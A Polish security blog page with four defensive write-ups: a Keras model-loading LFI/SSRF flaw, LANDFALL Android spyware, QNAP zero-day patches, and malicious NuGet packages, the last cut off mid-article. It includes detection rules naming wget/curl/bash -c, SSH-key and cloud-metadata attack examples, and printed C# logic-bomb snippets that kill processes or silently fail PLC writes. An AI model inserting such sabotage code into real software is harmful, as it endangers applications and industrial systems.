Wojciech Ciemski, Autor w serwisie Security Bez Tabu - Strona 430 z 465

Luka w Keras: ujawnienie danych i SSRF przy ładowaniu modeli (.keras) — CVE-2025-12058

Wprowadzenie do problemu / definicja luki

W Keras (biblioteka DL) odkryto lukę CVE-2025-12058 umożliwiającą arBITRALNE ODCZYTY PLIKÓW (LFI) z systemu hosta podczas ładowania zserializowanych modeli .keras oraz SSRF (wykonywanie żądań sieciowych po stronie serwera). Problem dotyczy warstwy preprocessingowej StringLookup/IntegerLookup, która dopuszczała podanie ścieżki do pliku lub URL jako źródła słownika („vocabulary”). Podczas deserializacji modelu Keras odczytywał tę ścieżkę, nawet przy aktywnym safe_mode=True. Luka została naprawiona w Keras 3.11.4.


W skrócie

  • Identyfikator: CVE-2025-12058, CVSS 4.0: 5.9 (Medium) wg CNA (Google).
  • Wektory ataku: LFI przez odczyt lokalnych plików (np. klucze SSH), SSRF przez zdalne handlery tf.io.gfile (HTTP(S), GCS/HDFS).
  • Warunek: ofiara ładuje zewnętrzny, złośliwy model .keras (supply chain / model zoo / współdzielone repo).
  • Dotknięte wersje: Keras ≤ 3.11.3; naprawa w 3.11.4.
  • Naprawa: włączenie osadzania słownika w archiwum .keras oraz zablokowanie ładowania zewnętrznych słowników przy safe_mode=True.

Kontekst / historia / powiązania

Keras 3.x wprowadził ujednolicony interfejs (JAX/TensorFlow/PyTorch), a wraz z nim nowy format .keras do zapisu modeli. Od początku zakładano mechanizmy „bezpiecznego ładowania” (safe_mode), jednak w tym przypadku ochrona nie obejmowała konstrukcji warstw *Lookup z parametrem vocabulary wskazującym ścieżkę/URL. Problem zgłosił zespół Zscaler (ThreatLabz) — opisując realne scenariusze nadużyć oraz oś czasu ujawnienia. Poprawki trafiły do głównej gałęzi w październiku 2025 r., a wydanie naprawcze opublikowano jako 3.11.4.


Analiza techniczna / szczegóły luki

Gdzie leży błąd?

  • StringLookup i IntegerLookup pozwalały na vocabulary=<ścieżka lub URL>.
  • Gdy model był wczytywany z .keras, deserializacja rekonstruowała warstwę i odczytywała wskazaną ścieżkę/URL, włączając zawartość do stanu warstwy (np. dostępna przez get_vocabulary()), nie respektując w pełni safe_mode=True.

Skutki techniczne

  • LFI (Local File Inclusion/Read): atakujący może ukryć w modelu ścieżki typu /home/user/.ssh/id_rsa; podczas ładowania Keras wczyta treść pliku do słownika warstwy.
  • SSRF: Keras używa tf.io.gfile, które obsługuje zdalne systemy plików i protokoły (HTTP/HTTPS). Specjalnie przygotowany URL może spowodować żądania sieciowe (np. do IMDS 169.254.169.254 w chmurze).

Co zmieniła poprawka?

PR #21751 sprawił, że:

  1. Słowniki są osadzane bezpośrednio w archiwum .keras, dzięki czemu ładowanie nie sięga po zewnętrzne ścieżki.
  2. Przy safe_mode=True zabroniono ładowania zewnętrznych plików słownika — dopuszczalne źródło to wyłącznie zawartość archiwum. Zmiana jest częściowo „breaking”. Zmergowano 17 października 2025 r. i wydano jako Keras 3.11.4.

Praktyczne konsekwencje / ryzyko

  • Eksfiltracja sekretów dewelopera/serwera: klucze SSH, tokeny w plikach konfiguracyjnych, .env, ~/.aws/credentials mogą zostać „wciągnięte” do modelu i odczytane przez napastnika po jego ponownym pobraniu lub przez kontrolowany przez niego pipeline.
  • SSRF do usług wewnętrznych: dostęp do IMDS (IAM w chmurze), wewnętrznych API, brokerów metadanych — w konsekwencji przejęcie zasobów chmurowych lub CI/CD.
  • Łańcuch dostaw modeli: ryzyko dotyczy repozytoriów modeli, notebooków, benchmarków, konkursów, gdzie użytkownicy chętnie ładują cudze artefakty.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowa aktualizacja

  • Uaktualnij do Keras ≥ 3.11.4 w środowiskach, które w jakikolwiek sposób ładują cudze .keras. # sprawdź wersję python - <<'PY' import keras, sys print("Keras:", keras.__version__) PY # aktualizacja (przykład dla pip) python -m pip install --upgrade "keras>=3.11.4"

2) Wymuś bezpieczne ładowanie i walidację konfiguracji

  • Przed load_model() otwórz archiwum .keras i przejrzyj konfigurację warstw; odrzuć modele, w których StringLookup/IntegerLookup mają vocabulary jako ścieżkę/URL. import json, zipfile, re, sys from urllib.parse import urlparse def is_path_or_url(v): if not isinstance(v, str): return False if re.match(r'^[a-zA-Z]:[\\/]|^/|^\./|\.\./', v): # Windows/Unix path return True try: u = urlparse(v) return u.scheme in {"http","https","gs","hdfs"} except: return False def keras_archive_has_external_vocab(keras_path): with zipfile.ZipFile(keras_path) as z: with z.open("config.json") as f: cfg = json.load(f) bad = [] def walk(d): if isinstance(d, dict): if d.get("class_name") in {"StringLookup","IntegerLookup"}: vocab = d.get("config",{}).get("vocabulary", None) if is_path_or_url(vocab): bad.append((d["class_name"], vocab)) for v in d.values(): walk(v) elif isinstance(d, list): for v in d: walk(v) walk(cfg) return bad path = sys.argv[1] offenders = keras_archive_has_external_vocab(path) if offenders: print("BLOCK:", offenders); sys.exit(1) else: print("OK") (Skrypt defensywny — nie ładuje modelu, wyłącznie statycznie analizuje archiwum.)
  • Ładuj modele zawsze z safe_mode=True (po aktualizacji ma znaczenie): import keras model = keras.saving.load_model("model.keras", safe_mode=True)

3) Odseparuj IO modelu

  • Uruchamiaj proces ładujący w sandboxie bez dostępu do sekretów (AppArmor/SELinux, no-new-privileges, fs.protected_hardlinks, profile Seccomp).
  • Read-only root, odmontowane /home, brak dostępu do ~/.ssh, brak zmiennych środowiskowych z sekretami.

4) Zablokuj SSRF u źródła

  • Egress deny z jobów ładujących modele (Kubernetes NetworkPolicy, eBPF Cilium, VPC egress firewall).
  • Blokada IMDS:
    • AWS: metadane v2 tylko z hop-limit=1, lub --http-endpoint disabled na EC2; w EKS — AwsNode.kubeProxyEnabled=false + iptables/CNI do odcięcia 169.254.169.254.
    • GCP/Azure analogicznie — polityki blokujące dostęp z podów.
      (Ogranicza efekt SSRF opisany w analizie.)

5) Detekcja w pipeline’ach

  • Skanuj artefakty .keras tymczasowo przed dopuszczeniem do trenowania/inferencji (skrypt powyżej).
  • Alertuj na outbound z jobów ładowania modeli (np. reguły w eBPF/XDP, IDS w podsieci).
  • DLP/Git scanning: reguły wykrywające ciągi typu StringLookup + vocabulary z wartością zaczynającą się od / lub http.

6) Zarządzanie zaufaniem do modeli (MLSBOM)

  • Wprowadzaj Model SBOM (pochodzenie, hash, autor, podpis).
  • Wymagaj podpisu kryptograficznego artefaktów modelu (Cosign/Sigstore) i weryfikuj go w CI przed load_model().

Różnice / porównania z innymi przypadkami

  • Deserializacja nieufnych danych (CWE-502) bywa znana z pickle/joblib. Tu wektorem jest format .keras i specyficzna opcja vocabulary w warstwach *Lookup. Mechanizm safe_mode miał ograniczyć ryzyko, ale nie obejmował ścieżek słowników — stąd podatność.
  • W odróżnieniu od klasycznych RCE przez deserializację, tutaj mamy LFI/SSRF, co i tak może prowadzić do pełnej kompromitacji (np. przejęcie IAM i lateral movement).

Podsumowanie / kluczowe wnioski

  1. Aktualizacja do Keras 3.11.4 jest najważniejsza.
  2. Nie ładuj niezweryfikowanych modeli .keras — traktuj je jak binaria z internetu.
  3. Waliduj konfigurację warstw *Lookup przed deserializacją; blokuj egress i IMDS w jobach ML.
  4. Segmentacja i sandbox procesu ładującego + telemetria wyjść sieciowych minimalizują skutki ewentualnego SSRF.
  5. Wdrażaj łańcuch zaufania do modeli (podpisy, SBOM), jak w klasycznych łańcuchach dostaw.

Źródła / bibliografia

  • SecurityWeek: ogłoszenie luki i informacja o wersji naprawczej 3.11.4. (SecurityWeek)
  • Zscaler (ThreatLabz): analiza techniczna, scenariusze eksploatacji (LFI/SSRF), dotknięte wersje ≤3.11.3. (Zscaler)
  • NVD: karta CVE-2025-12058, opis wektora (LFI/SSRF), CVSS 4.0 5.9 (CNA), powiązane CWE-502. (NVD)
  • GitHub (keras-team), PR #21751: szczegóły implementacji poprawki (osadzanie słownika, restrykcja safe_mode). (GitHub)
  • Dokumentacja Keras: kontekst działania StringLookup. (keras.io)

LANDFALL: komercyjny spyware na Androida uderza w telefony Samsung przez zero-day w bibliotece obrazów

Wprowadzenie do problemu / definicja luki

Zespół Palo Alto Networks Unit 42 opisał nową rodzinę komercyjnego spyware’u dla Androida o nazwie LANDFALL, którą atakujący dostarczali na wybrane smartfony Samsung Galaxy przez zero-day w bibliotece przetwarzania obrazów (libimagecodec.quram.so). Luka otrzymała identyfikator CVE-2025-21042 i umożliwia zdalne wykonanie kodu po przetworzeniu celowo złośliwego pliku DNG (Digital Negative). Samsung załatał błąd w SMR-APR-2025 (Security Maintenance Release), ale ataki trwały przed wydaniem poprawek.


W skrócie

  • Co: spyware LANDFALL na Androida, ukierunkowany na urządzenia Samsung Galaxy.
  • Jak: złośliwy plik DNG dostarczany m.in. przez komunikatory (analiza wskazuje na WhatsApp); exploit CVE-2025-21042 prowadzący do RCE, najpewniej w trybie zero-click/low-click.
  • Kiedy: próbki widoczne co najmniej od lipca 2024 r., aktywność w 2024/2025; poprawka Samsunga — kwiecień 2025.
  • Kogo: cele w MENA (m.in. Iran, Irak, Turcja, Maroko); wybrane modele Galaxy S22/S23/S24, Z Fold4, Z Flip4.
  • Pokrewne: drugi błąd w tej samej bibliotece (CVE-2025-21043, zgłoszony przez Meta/WhatsApp) załatany we wrześniu 2025, potwierdzono exploitation in the wild.

Kontekst / historia / powiązania

  • LANDFALL wpisuje się w szerszy trend nadużywania parserów obrazów RAW (DNG/TIFF) na urządzeniach mobilnych — podobne łańcuchy obserwowano na iOS (CVE-2025-43300) w połączeniu z błędem WhatsApp (CVE-2025-55177), co pozwalało na zdalne, zero-clickowe RCE po dostarczeniu obrazu przez komunikator.
  • Unit 42 widzi stylistyczne zbieżności z ekosystemem komercyjnych dostawców spyware (PSOA) i infrastrukturą powiązaną z Stealth Falcon (UAE), ale bez rozstrzygającej atrybucji.
  • Samsung załatał CVE-2025-21042 w SMR-APR-2025 i opisał go jako krytyczny błąd typu Out-of-Bounds Write w libimagecodec.quram.so, umożliwiający zdalne wykonanie kodu; NVD klasyfikuje wektor jako AV:N/AC:L/PR:N/UI:N (CRITICAL).

Analiza techniczna / szczegóły luki

Wektor: złośliwy plik DNG

  • Atakujący wysyłali ofierze celowo sfałszowane pliki DNG, czasem jako „zdjęcia WhatsApp”. Wewnątrz pliku DNG znajdowało się doklejone archiwum ZIP z komponentami malware. Samo parsowanie DNG w podatnej bibliotece wyzwalało RCE.

Łańcuch infekcji (wysoki poziom)

  1. Dostarczenie obrazu DNG (WhatsApp/komunikator).
  2. Eksploatacja CVE-2025-21042 w libimagecodec.quram.soRCE w kontekście procesu parsera.
  3. Rozpakowanie dołączonego ZIP-a i uruchomienie komponentu b.so (loader, „Bridge Head”).
  4. Rozszerzenie uprawnień i trwałości poprzez moduł l.somanipulacja polityką SELinux in-memory.
  5. Pobranie dalszych modułów, fingerprinting urządzenia i beaconing do C2.

Kluczowe pliki/ścieżki i artefakty

  • Katalog roboczy: /data/data/com.samsung.ipservice/files/
  • Komponenty: b.so (loader) i l.so (manipulator polityk SELinux; XZ-kompresja)
  • Konfiguracja wbudowana w b.so (JSON + klucz X.509), stałe „Bridge Head v2.1”, parametry czasu pracy (suicide_time), tryb I/P runner.
  • Przykładowe IoC: domeny brightvideodesigns[.]com, healthyeatingontherun[.]com, IP m.in. 45.155.250[.]158, 91.132.92[.]35. (pełna lista w raporcie Unit 42).

Zdolności spyware (wybór)

  • Inwigilacja: nagrywanie mikrofonu/rozmów, pozyskiwanie lokalizacji, kontaktów, logów połączeń, plików/zdjęć.
  • Fingerprinting sieci i urządzenia: IMEI/IMSI/SIM, stan VPN/USB debug, lista aplikacji.
  • Łączność z C2: HTTPS, telemetry, dynamiczne dociąganie modułów.

Praktyczne konsekwencje / ryzyko

  • Ataki ukierunkowane: telemetry i artefakty wskazują na cele w regionie MENA, wysoką wartość celów i niską skłonność do masowej dystrybucji.
  • Trudne do zauważenia: zero-/low-click, brak nowej podatności w WhatsApp, więc standardowe „zachowania użytkownika” nie są wystarczającą barierą.
  • Ryzyko dla prywatności i bezpieczeństwa operacyjnego (OPSEC): stały dostęp audio/GPS, exfil danych z komunikatorów i pamięci.
  • Ryzyko wtórne: manipulacja polityką SELinux osłabia kontrolę dostępu na urządzeniu i wspiera trwałość.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowe działania IT/MDM

  • Wymuś aktualizacje do SMR-APR-2025 lub nowszych (łata CVE-2025-21042) oraz SMR-SEP-2025 (łata pokrewny CVE-2025-21043, exploatowany w środowisku) na wszystkich obsługiwanych Galaxy.
  • Zablokuj i monitoruj automatyczne pobieranie DNG/RAW w firmowych komunikatorach (polityki MDM/UEBA; jeżeli niemożliwe — CDR/sandboxing obrazów).
  • Listy blokujące (egress/DNS): dodaj domeny i adresy IP z raportu Unit 42 do blokad (patrz IoC wyżej). Wymuś TLS SNI/JA3 monitoring dla anomalii.

2) Detekcja i hunting (przykłady)

ADB: przegląd artefaktów w podejrzanym urządzeniu testowym

# Połącz urządzenie (tryb debugowania w kontrolowanym labie)
adb shell 'ls -l /data/data/com.samsung.ipservice/files/'
adb shell 'sha256sum /data/data/com.samsung.ipservice/files/* 2>/dev/null'
adb shell 'logcat -d | grep -iE "Bridge Head|b\.so|l\.so"'

(szukamy obecności b.so, l.so, plików XZ/ZIP i wzmianki „Bridge Head”).

Suricata (SNI/domains) – minimalny szkic reguł IOC

# Uwaga: dopasowania oparte o SNI/DNS tylko pomocniczo; użyj listy pełnych IoC Unit 42
- action: alert
  signature: 'LANDFALL C2 SNI brightvideodesigns'
  tls.sni:
    - 'brightvideodesigns.com'
- action: alert
  signature: 'LANDFALL C2 SNI healthyeatingontherun'
  tls.sni:
    - 'healthyeatingontherun.com'

Sigma (Windows proxy/syslog z MDM) – detekcja nietypowych transferów z urządzeń mobilnych

title: Suspicious Mobile Egress to LANDFALL IoC
status: experimental
logsource:
  product: proxy
detection:
  sel1:
    cs-host|contains:
      - brightvideodesigns.com
      - healthyeatingontherun.com
      - hotelsitereview.com
      - projectmanagerskills.com
condition: sel1
level: high

3) Hardening i polityki

  • Wyłącz automatyczne zapisywanie multimediów w komunikatorach w profilach roboczych (Work Profile).
  • Wymuś Always-On-VPN i DNS ochronny na profilach korporacyjnych; loguj SNI/DoH.
  • Blokuj instalację aplikacji spoza sklepu i USB debugging w produkcji (dozwolony tylko w labie forensycznym).
  • EDR/MTD na Androida z analizą treści obrazów (MIME sniffing) i emulacją parserów.

4) Reagowanie incydentowe (skrót)

  1. Izoluj urządzenie od sieci komórkowej/Wi-Fi, zachowując stan (tryb samolotowy bez wyłączenia).
  2. Zrób kopia-obraz użytkownika (jeśli MDM/MTD wspiera) oraz eksport logcat.
  3. Wdróż update SMR i sprawdź IoC (ścieżki, domeny/IP, artefakty SELinux).
  4. Rotacja tokenów i haseł powiązanych z kontami użytkownika.
  5. Raport do CERT/CSIRT i aktualizacja polityk MDM.

Różnice / porównania z innymi przypadkami

  • CVE-2025-21042 vs CVE-2025-21043 (Samsung/Android): obie luki dotyczą tej samej biblioteki (libimagecodec.quram.so), obie umożliwiają RCE przez malformowane DNG; 21042 wykorzystywana w kampanii LANDFALL (załatana kwiecień 2025), 21043 – zgłoszona przez Meta/WhatsApp, potwierdzona eksploatacja w środowisku (wrzesień 2025).
  • iOS łańcuch 2025: CVE-2025-43300 (DNG parser) + CVE-2025-55177 (WhatsApp) pozwalały osiągnąć zbliżony efekt zero-click przez obraz przesłany w komunikatorze, ale to osobny łańcuch — Unit 42 nie potwierdził, że iOS-owy łańcuch dostarczał LANDFALL.

Podsumowanie / kluczowe wnioski

  • Parsery obrazów to dziś realny wektor RCE na urządzeniach mobilnych — plik graficzny może być nośnikiem exploita.
  • LANDFALL pokazuje, jak komercyjne toolkity spyware łączą zero-day + manipulację SELinux dla trwałości i pełnego nadzoru nad urządzeniem.
  • Organizacje powinny traktować SMR/ASB jak krytyczne patche serwerowe: wymuszać aktualizacje, izolować profile robocze, wdrażać MTD/EDR z telemetrią sieciową oraz polityki ograniczające RAW/DNG w kanałach komunikacyjnych.

Źródła / bibliografia

  • Palo Alto Networks Unit 42 — pełna analiza LANDFALL (IoC, szczegóły techniczne, SELinux, ścieżki, pliki). (Unit 42)
  • SecurityWeek — przegląd i kluczowe fakty (modele Galaxy, timeline, MENA). (SecurityWeek)
  • Samsung Mobile Security — SMR-APR-2025 (CVE-2025-21042, krytyczne RCE), SMR-SEP-2025 (CVE-2025-21043, exploitation in the wild). (Samsung Mobile Security)
  • NVD — karta CVE-2025-21042 (opis i metryki CVSS). (NVD)
  • WhatsApp Security Advisories 2025 — opis CVE-2025-55177 (łańcuch iOS + WhatsApp). (WhatsApp.com)

QNAP łata siedem zerodejowych luk w NAS-ach ujawnionych na Pwn2Own 2025

Wprowadzenie do problemu / definicja luki

QNAP opublikował aktualizacje usuwające 7 podatności typu zero-day wykorzystanych na żywo podczas konkursu Pwn2Own Ireland 2025. Błędy dotyczyły zarówno systemów operacyjnych QTS/QuTS hero, jak i aplikacji: HBS 3 (Hybrid Backup Sync), Malware Remover, Hyper Data Protector oraz – dodatkowo tego samego dnia – QuMagie (krytyczny SQLi). Producent potwierdził dostępność poprawek i podał minimalne wersje, do których należy zaktualizować systemy i aplikacje.


W skrócie

  • Zakres: QTS/QuTS hero (CVE-2025-62847/-62848/-62849), HBS 3 (CVE-2025-62840, CVE-2025-62842), Malware Remover (CVE-2025-11837), Hyper Data Protector (CVE-2025-59389).
  • Wektory: od zdalnego wykonania kodu i modyfikacji danych po DoS – zależnie od komponentu. Luki potrafią ominąć zabezpieczenia warstwy aplikacyjnej backupu.
  • Łatki minimalne:
    • QTS 5.2.7.3297 build 20251024+, QuTS hero h5.2.7.3297+ oraz h5.3.1.3292+ (OS).
    • HBS 3 26.2.0.938+, Malware Remover 6.6.8.20251023+, Hyper Data Protector 2.2.4.1+.
    • QuMagie 2.7.0+ (CVE-2025-52425, SQLi).
  • Geneza: exploity zaprezentowane przez Summoning Team, DEVCORE, Team DDOS i stażystę CyCraft na Pwn2Own Ireland 2025.

Kontekst / historia / powiązania

Pwn2Own to konkurs ZDI (Trend Micro), w którym badacze demonstrują exploity 0-day na realnym sprzęcie. Tegoroczna edycja w Cork (21–23 października 2025) zaowocowała dziesiątkami nowych błędów w NAS-ach, urządzeniach IoT i oprogramowaniu. QNAP po wydarzeniu podkreślił „przyspieszoną obronę” – szybkie publikacje łatek i dystrybucję przez App Center (m.in. poprzez Malware Remover).


Analiza techniczna / szczegóły luki

Zakres i komponenty

  1. QTS / QuTS hero – trzy luki (CVE-2025-62847/-62848/-62849) sklasyfikowane przez QNAP jako Critical. Załatane w QTS 5.2.7.3297 i QuTS hero h5.2.7.3297 / h5.3.1.3292. QNAP przypisuje te zgłoszenia do Pwn2Own 2025 (ack: DEVCORE).
  2. HBS 3 (Hybrid Backup Sync) – dwie luki (CVE-2025-62840, CVE-2025-62842) usunięte w 26.2.0.938. HBS 3 to centralna usługa backupu/sync (RTRR, rsync, FTP, WebDAV, SMB) – kompromitacja ma wpływ także na repozytoria zdalne/chmurowe.
  3. Malware RemoverCVE-2025-11837, łatka w 6.6.8.20251023. Paradoksalnie dotyczy modułu bezpieczeństwa, co podnosi ryzyko eskalacji w środowiskach ufających temu komponentowi.
  4. Hyper Data ProtectorCVE-2025-59389, poprawione w 2.2.4.1. Narzędzie realizuje backup maszyn wirtualnych/VMware/Hyper-V, a więc ma szerokie uprawnienia do repozytoriów.
  5. QuMagie (dodatkowo w tym samym pakiecie biuletynów) – CVE-2025-52425 (SQLi)2.7.0. QNAP określa możliwość „wykonania nieautoryzowanego kodu lub komend”.

Uwaga: w momencie publikacji części CVE dotyczących QTS/QuTS/HBS 3 pozostają w stanie RESERVED w publicznych bazach (brak pełnych opisów), jednak QNAP i biuletyny prasowe podają konkretne wersje naprawcze – to one są obecnie jedynym wiarygodnym punktem odniesienia dla zarządzania ryzykiem.


Praktyczne konsekwencje / ryzyko

  • Łańcuchy ataku z backupem w roli „przepustki”: kompromitacja HBS 3 może otworzyć drogę do modyfikowania lub podmieniania danych na repozytoriach off-site (rsync/S3/SMB), w tym do „zatruwania” kopii zapasowych i utraty możliwości odtworzenia.
  • Uprzywilejowana powierzchnia: Malware Remover i Hyper Data Protector działają z wysokimi uprawnieniami, więc ich podatności mogą skutkować RCE z uprawnieniami systemowymi, a także ruchem bocznym do hipernadzorców/serwerów wirtualizacji.
  • OS-level: luki w QTS/QuTS hero mogą zostać połączone z błędami aplikacyjnymi dla eskalacji do root i trwałej persystencji (np. ingerencja w mechanizmy aktualizacji, demonów usługowych).

Rekomendacje operacyjne / co zrobić teraz

1) Aktualizacje – minimalne wersje docelowe

  • QTS:5.2.7.3297 build 20251024
  • QuTS hero:h5.2.7.3297 lub h5.3.1.3292
  • HBS 3:26.2.0.938
  • Malware Remover:6.6.8.20251023
  • Hyper Data Protector:2.2.4.1
  • QuMagie:2.7.0
    Instrukcje QNAP: Panel sterowania → System → Aktualizacja firmware (Live Update) oraz App Center → [nazwa aplikacji] → Update.

2) Szybkie kroki higieniczne (post-patch)

  • Wymuś rotację haseł wszystkich kont (min. adminów) i wygeneruj nowe API tokens dla aplikacji integrujących się z NAS.
  • Wyłącz UPnP, myQNAPcloud i przekierowania portów, jeśli nie są niezbędne; wystawiaj dostęp przez VPN/Zero Trust zamiast przez Internet.
  • QuFirewall: reguły „deny by default”, listy dozwolonych adresów, geoblokady.
  • Wyłącz loginy admin/admin oraz włącz 2FA dla kont uprzywilejowanych.

3) Walidacja wersji – przykładowe komendy (SSH)

# Sprawdź wersję systemu (QTS/QuTS hero)
getcfg system version -f /etc/config/uLinux.conf
getcfg system "Build Number" -f /etc/config/uLinux.conf

# Sprawdź wersje zainstalowanych aplikacji (App Center)
getcfg "HBS 3 Hybrid Backup Sync" QPKG_Ver -f /etc/config/qpkg.conf
getcfg "Malware Remover"            QPKG_Ver -f /etc/config/qpkg.conf
getcfg "Hyper Data Protector"       QPKG_Ver -f /etc/config/qpkg.conf
getcfg "QuMagie"                    QPKG_Ver -f /etc/config/qpkg.conf

4) Hardening usług backupu (HBS 3)

  • Używaj oddzielnych kont/kluczy dla każdego celu backupu (S3/rsync/SMB); minimalne uprawnienia (RBAC, bucket-policy).
  • Włącz weryfikację integralności backupów (checksumy, immutable buckets, Object Lock) i testowe odtworzenia (table-top every 30 dni).
  • Segmentuj ruch HBS 3 w VLAN/VRF; zdalne endpointy dostępne wyłącznie z interfejsu backupowego.

5) Detekcja i triage incydentu (SOC/blue team)

Logi systemowe i aplikacyjne kieruj do SIEM (syslog/TLS).
Ścieżki istotne w triage:

  • /var/log/auth.log, /var/log/kern.log, /var/log/apache/ (jeśli aktywne)
  • Q’center/Qlog Center – zdarzenia Malware Remover i HBS 3
    Przykładowe wskaźniki:
  • Nietypowe wywołania HBS 3 do nowych hostów, nagłe skoki transferu/zmiany harmonogramów.
  • Restart usług systemowych bez planowanej zmiany; nowe zadania crontab w /etc/config/crontab.

Sigma (przykład – zdalne uruchomienie nieznanego binarium przez www):

title: QNAP Suspicious Web Exec
logsource:
  product: linux
  service: apache
detection:
  sel:
    cs-method: POST
    cs-uri-stem|contains:
      - /cgi-bin/
      - /phpMyAdmin/
  keywords:
    - "wget http"
    - "curl http"
    - "bash -c"
condition: sel and keywords
level: high

Różnice / porównania z innymi przypadkami

Rok wcześniej QNAP łatał 0-daye z Pwn2Own 2024 (m.in. OS command injection w HBS 3 i SQLi w usłudze SMB). W 2025 r. ponownie trzonem problemu są moduły backupowe i systemy bazowe, ale zakres jest szerszy (7 zero-dayów) i obejmuje nawet Malware Remover. Z punktu widzenia zarządzania ryzykiem to potwierdza, że backup i narzędzia bezpieczeństwa na NAS-ach wymagają takiego samego rygoru testów i segmentacji jak serwery aplikacyjne.


Podsumowanie / kluczowe wnioski

  • Traktuj NAS jak pełnoprawny serwer – z micro-segmentacją, kontrolą dostępu i monitoringiem.
  • Aktualizacje do wersji minimalnych (podanych wyżej) to obowiązek – zrób to dla OS i każdej aplikacji.
  • Backup nie chroni, jeśli jest kompromitowany: izoluj HBS 3, stosuj immutable storage i regularne testy odtworzeniowe.
  • Ogranicz ekspozycję: brak UPnP, brak publicznych portów; dostęp tylko przez VPN/Zero Trust.
  • Włącz 2FA, rotuj hasła i klucze, przeglądnij zadania crona oraz logi po aktualizacji.

Źródła / bibliografia

  1. BleepingComputer – „QNAP fixes seven NAS zero-day flaws exploited at Pwn2Own”, 7 listopada 2025 (lista CVE, minimalne wersje aplikacji i OS). (BleepingComputer)
  2. QNAP Security Advisory QSA-25-45 – „Multiple Vulnerabilities in QTS and QuTS hero (PWN2OWN 2025)” (wersje naprawcze OS, status Critical). (QNAP NAS)
  3. QNAP Security Advisory QSA-25-33 – „Vulnerability in QuMagie (CVE-2025-52425)” (SQLi, QuMagie ≥2.7.0). (QNAP NAS)
  4. ZDI – blog z wynikami Pwn2Own Ireland 2025 (kontekst i harmonogram konkursu). (zerodayinitiative.com)
  5. QNAP – komunikat prasowy: „Demonstrates cybersecurity commitment at Pwn2Own 2025 with rapid defense updates” (polityka szybkich poprawek). (QNAP NAS)

Ukryte „logic bombs” w złośliwych pakietach NuGet: opóźniona destrukcja baz danych i systemów przemysłowych

Wprowadzenie do problemu / definicja luki

Badacze wykryli dziewięć złośliwych pakietów NuGet, które dostarczają opóźnione w czasie ładunki sabotażowe („logic bombs”). Pakiety udają w pełni działające biblioteki do dostępu do baz danych (SQL Server, PostgreSQL, SQLite), a jeden — Sharp7Extend — celuje w środowiska przemysłowe, modyfikując komunikację z PLC z rodziny Siemens S7. Po spełnieniu warunków czasowych kod losowo ubija proces aplikacji lub po cichu sabotuje operacje zapisu, przez co incydenty wyglądają jak losowe awarie albo błędy sprzętu. Źródłem informacji jest m.in. szczegółowa analiza Socket i artykuły branżowe, które opisały skalę i techniki ataku.


W skrócie

  • Wejście: pakiety opublikowane w latach 2023–2024 pod aliasem shanhai666 na NuGet, łącznie ~9,5 tys. pobrań.
  • Cel: aplikacje .NET wykorzystujące biblioteki repozytoriów DB i środowiska ICS/OT korzystające z komunikacji S7. Sharp7Extend podszywa się pod ekosystem Sharp7 (legalna biblioteka), by trafić do inżynierów automatyki.
  • Mechanizm: metoda rozszerzająca (C# extension methods) wstrzykuje logikę sprawdzania dat-wyzwalaczy; po ich przekroczeniu z prawdopodobieństwem ~20% wykonywane jest Process.Kill(); w ICS dodatkowo 80% „niemego” niepowodzenia zapisu po 30–90 minutach od startu.
  • Oś czasu: wyzwalacze ustawione m.in. na 8 sierpnia 2027 i 29 listopada 2028; Sharp7Extend działa natychmiast aż do 6 czerwca 2028.
  • Status: zgłoszono do NuGet; media branżowe donoszą o usuwaniu i śledztwie.

Kontekst / historia / powiązania

Ataki na łańcuch dostaw pakietów (npm, PyPI, NuGet) wykorzystują typosquatting, mieszanie legalnego i złośliwego kodu oraz „bombki” czasowe, by wydłużyć dwell time. Tutaj napastnik dostarczył 99% funkcjonalnego kodu zgodnego z wzorcami repozytorium/Unit of Work/LINQ, aby przejść code-review i testy smoke, a tylko ~20 linii realizuje sabotaż. Taka hybryda znacznie opóźnia wykrycie i utrudnia dochodzenie po latach.


Analiza techniczna / szczegóły luki

1) Wstrzyknięcie przez extension methods

Złośliwe pakiety dodają „przezroczyste” metody rozszerzające do typów poleceń DB i klienta S7 — np. .Exec() lub .BeginTran() — które wołają się przy każdym zapytaniu/operacji. Dzięki temu logika sabotażu wykonuje się w gorących ścieżkach I/O bez zmian w kodzie aplikacji:

public static class SqlCommandExtend {
    static int y = 2027, m = 8, d = 8; // trigger: 2027-08-08
    public static SqlCommand Exec(this SqlCommand cmd) {
        if (DateTime.Now > new DateTime(y, m, d) && new Random().Next(1, 100) > 80) {
            Process.GetCurrentProcess().Kill(); // losowe ubicie procesu (~20%)
        }
        return cmd;
    }
}

W wariantach dla PostgreSQL/SQLite data jest zapisana jako znacznik czasu UNIX (np. 2028-11-29 11:18:48.479 UTC).

2) Sharp7Extend — sabotaż ICS (S7)

  • Natychmiastowy mechanizm Process.Kill() aktywny do 2028-06-06 (odwrócona logika daty).
  • Filtr „wyniku” zapisu w S7, który po losowym 30–90-min okienku łaski zaniża rezultat do 0 w ~80% przypadków, powodując ciche, częściowe nieskuteczne zapisy do PLC (aktuatory nie otrzymują poleceń, parametry nie są modyfikowane).
    Poniżej uproszczony wzorzec sabotażu zapisu:
public static class ResFilter {
  public static int Filter(this int res) {
    if (DateTime.Now < BootTimePlusRandom30to90min) return res; // działa w testach
    return new Random().Next(1, 100) < 20 ? res : 0; // 80% "niemych" porażek
  }
}

Te mechanizmy imitują flapping sieci, EMI, usterki sterownika czy „złe receptury” – dokładnie to, co utrudnia korelację z biblioteką.

3) Typosquatting i „fałszywe poczucie bezpieczeństwa”

Sharp7Extend dołącza niezmodyfikowaną, legalną bibliotekę Sharp7 (np. 1.1.79) i rzeczywiście umożliwia komunikację S7, co uwiarygadnia pakiet. Oficjalny Sharp7 w NuGet/GitHub jest legalny; „Extend” to podszycie.

4) Daty-wyzwalacze & probabilistyka

  • DB: 2027-08-08 oraz 2028-11-29 (różne implementacje).
  • ICS: aktywny od razu do 2028-06-06.
  • Prawdopodobieństwo ~20% na operację szybko daje quasi-pewną awarię w systemach o wysokim QPS/OPS, ale nieregularność utrudnia RCA.

Praktyczne konsekwencje / ryzyko

  • Aplikacje transakcyjne: sporadyczne ubicia procesu podczas zapytań → przerwane transakcje, uszkodzenie sesji, utrata koszyków, restart puli.
  • Bezpieczeństwo danych: niezamierzone rollbacki, niekonsekwentne zapisy, widoczność „ghost writes”.
